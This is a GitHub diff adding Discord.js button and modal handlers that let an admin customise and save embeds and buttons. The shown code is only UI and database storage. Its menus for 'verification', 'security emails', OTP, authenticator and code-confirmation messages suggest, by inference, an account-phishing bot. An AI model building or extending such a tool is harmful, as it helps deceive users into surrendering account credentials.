Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions Buttons/embed/Image.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "image",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`image`, `image`, [{
setCustomId: 'image',
setMaxLength: 4000,
setMinLength: 0,
setRequired: false,
setLabel: "Image",
setPlaceholder: "Type the desired Image.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/author.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "author",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`author`, `Author`, [{
setCustomId: 'author',
setMaxLength: 256,
setMinLength: 0,
setRequired: false,
setLabel: "Author Name",
setPlaceholder: "Type the desired Author Name.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/authorUrl.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "authorurl",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`authorurl`, `Author URL`, [{
setCustomId: 'authorurl',
setMaxLength: 4000,
setMinLength: 0,
setRequired: false,
setLabel: "Author URL",
setPlaceholder: "Type the desired Author URL.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/buttonColor.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "buttoncolor",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`buttoncolor`, `Button Color`, [{
setCustomId: 'buttoncolor',
setMaxLength: 5,
setMinLength: 3,
setRequired: true,
setLabel: "Button Color",
setPlaceholder: "Button colors are limited to these 4 options (Red,Green,Blue,Gray)",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/buttonEmoji.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "buttonemoji",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`buttonemoji`, `Button Emoji`, [{
setCustomId: 'buttonemoji',
setMaxLength: 80,
setMinLength: 0,
setRequired: false,
setLabel: "Button Emoji",
setPlaceholder: "Put the desired emoji for your button",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/buttonLabel.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "buttonlabel",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`buttonlabel`, `Button Label`, [{
setCustomId: 'buttoncolor',
setMaxLength: 80,
setMinLength: 1,
setRequired: true,
setLabel: "Button Label",
setPlaceholder: "Put your desired button label",
setStyle: TextInputStyle.Short
}]))
}
}
30 changes: 30 additions & 0 deletions Buttons/embed/changebutton.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js")

module.exports = {
name: "changebutton",
callback: async (client, interaction) => {
let type = interaction.customId.split("|")[1]
let buttons = [
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("buttonlabel").setEmoji("🏷️").setLabel("Button Label").setStyle(ButtonStyle.Primary),
)
]
if (type != "oauth") {
buttons[0].addComponents(new ButtonBuilder().setCustomId("buttoncolor").setEmoji("🎨").setLabel("Button Color").setStyle(ButtonStyle.Primary))
}
buttons[0].addComponents(
new ButtonBuilder().setCustomId("savebutton|" + interaction.customId.split("|")[1]).setEmoji("✏️").setLabel("Your button").setStyle(ButtonStyle.Secondary),
new ButtonBuilder().setCustomId("buttonemoji").setEmoji("😎").setLabel("Button Emoji").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("deletebutton|"+type).setEmoji("🗑️").setLabel("Delete button").setStyle(ButtonStyle.Danger)
)
return interaction.reply({
embeds: [{
title: `Change your button`,
description: `Change how your button looks like using these controls\nAfter you finish, click on your button to save!\n\n**Note**\nLink Buttons must have the color Gray in discord!`,
color: 0xEB9C6C
}],
ephemeral: true,
components: buttons
})
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/color.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "color",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`color`, `color`, [{
setCustomId: 'color',
setMaxLength: 6,
setMinLength: 1,
setRequired: true,
setLabel: "Color",
setPlaceholder: "Type the desired Color.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/description.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "description",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`description`, `description`, [{
setCustomId: 'description',
setMaxLength: 4000,
setMinLength: 0,
setRequired: false,
setLabel: "Embed description",
setPlaceholder: "Type the desired embed description.",
setStyle: TextInputStyle.Paragraph
}]))
}
}
31 changes: 31 additions & 0 deletions Buttons/embed/editEmbeds.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js")

module.exports = {
name: "editembeds",
adminOnly: true,
callback: async (client, interaction) => {
return interaction.reply({
embeds: [{
title: `Which embed do you want to change?`,
color: 0xC8C8C8
}],
components: [
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("embeds|main").setLabel("Change Verification Embed").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("embeds|oauth").setLabel("Change OAuth Embed").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("embeds|sec").setLabel("Change Security Emails Embed").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("embeds|res").setLabel("Change Final Response Embed").setStyle(ButtonStyle.Primary),
),
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("embeds|otp").setLabel("Change OTP Disabled Embed").setStyle(ButtonStyle.Danger),
new ButtonBuilder().setCustomId("embeds|invalid").setLabel("Change Invalid Code Embed").setStyle(ButtonStyle.Danger),
new ButtonBuilder().setCustomId("embeds|invalid email").setLabel("Change Invalid Email Embed").setStyle(ButtonStyle.Danger),
new ButtonBuilder().setCustomId("embeds|account doesn't exist").setLabel("Change Account doesn't exist Embed").setStyle(ButtonStyle.Danger),
),
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("embeds|authenticator").setLabel("Change Authenticator Embed").setStyle(ButtonStyle.Secondary)
)],
ephemeral: true
})
}
}
20 changes: 20 additions & 0 deletions Buttons/embed/editModals.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js")

module.exports = {
name: "editmodals",
adminOnly: true,
callback: async (client, interaction) => {
return interaction.reply({
embeds: [{
title: `Which Modal do you want to change?`,
color: 0xC8C8C8
}],
components: [
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("modal|main").setLabel("Change Linking Modal").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("modal|code").setLabel("Change Confirming Code Modal").setStyle(ButtonStyle.Primary)
)],
ephemeral: true
})
}
}
23 changes: 23 additions & 0 deletions Buttons/embed/editbuttons.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js")

module.exports = {
name: "editbuttons",
adminOnly: true,
callback: async (client, interaction) => {
return interaction.reply({
embeds: [{
title: `Which Button do you want to change?`,
color: 0xC8C8C8
}],
components: [
new ActionRowBuilder().addComponents(
new ButtonBuilder().setCustomId("changebutton|link account").setLabel("Change Link Account Button").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("changebutton|oauth").setLabel("Change OAuth Button").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("changebutton|code").setLabel("Change Submit Code Button").setStyle(ButtonStyle.Primary),
new ButtonBuilder().setCustomId("changebutton|howto").setLabel("Change How To Button").setStyle(ButtonStyle.Primary)
)
],
ephemeral: true
})
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/footer.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "footer",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`footer`, `footer`, [{
setCustomId: 'footer',
setMaxLength: 2048,
setMinLength: 0,
setRequired: false,
setLabel: "Footer",
setPlaceholder: "Type the desired Footer.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/footerUrl.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "footerurl",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`footerurl`, `footerurl`, [{
setCustomId: 'footerurl',
setMaxLength: 4000,
setMinLength: 0,
setRequired: false,
setLabel: "Footer URL",
setPlaceholder: "Type the desired Footer URL.",
setStyle: TextInputStyle.Short
}]))
}
}
18 changes: 18 additions & 0 deletions Buttons/embed/save.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
const { queryParams } = require("../../../db/db")

module.exports = {
name: "save",
adminOnly: true,
callback: async (client, interaction) => {
let embed = interaction.message.embeds[0].data
let type = interaction.customId.split("|")[1]
let d = await queryParams(`SELECT * FROM embeds WHERE user_id=? AND type=? LIMIT 1`, [client.username, type])
if (d.length == 0) {
await queryParams(`INSERT INTO embeds(user_id,type,embed) VALUES(?,?,?)`, [client.username, type, JSON.stringify(embed)])
return interaction.update({ content: `Saved your ${type} embed!`, ephemeral: true })
} else {
await queryParams(`UPDATE embeds SET embed=? WHERE user_id=? AND type=?`, [JSON.stringify(embed), client.username, type])
return interaction.update({ content: `Updated your ${type} embed!`, ephemeral: true })
}
}
}
27 changes: 27 additions & 0 deletions Buttons/embed/saveButton.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
const { queryParams } = require("../../../db/db")

module.exports = {
name: "savebutton",
adminOnly: true,
callback: async (client, interaction) => {
let type = interaction.customId.split("|")[1]
let button
if (type == "oauth") {
button = interaction.message.components[0].components[1].data
delete button.custom_id
button.type = 2
button.style = 5
} else {
button = interaction.message.components[0].components[2].data
button.custom_id = type
}
let exist = await queryParams(`SELECT * FROM buttons WHERE user_id=? AND type=?`, [client.username, type])
if (exist.length == 0) {
await queryParams(`INSERT INTO buttons(user_id,type,button) VALUES(?,?,?)`, [client.username, type, JSON.stringify(button)])
return interaction.update({ content: `Saved your button` })
} else {
await queryParams(`UPDATE buttons SET button=? WHERE user_id=?`, [JSON.stringify(button), client.username])
return interaction.update({ content: `Saved your button` })
}
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/thumbnailUrl.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "thumbnail",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`thumbnail`, `thumbnail`, [{
setCustomId: 'thumbnail',
setMaxLength: 4000,
setMinLength: 0,
setRequired: false,
setLabel: "Thumbnail",
setPlaceholder: "Type the desired thumbnail.",
setStyle: TextInputStyle.Short
}]))
}
}
17 changes: 17 additions & 0 deletions Buttons/embed/title.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const { TextInputStyle } = require("discord.js")
const modalBuilder = require("../../utils/modalBuilder")

module.exports = {
name: "title",
callback: (client, interaction) => {
interaction.showModal(modalBuilder(`title`, `Title`, [{
setCustomId: 'title',
setMaxLength: 256,
setMinLength: 0,
setRequired: false,
setLabel: "Embed title",
setPlaceholder: "Type the desired embed title.",
setStyle: TextInputStyle.Paragraph
}]))
}
}
Loading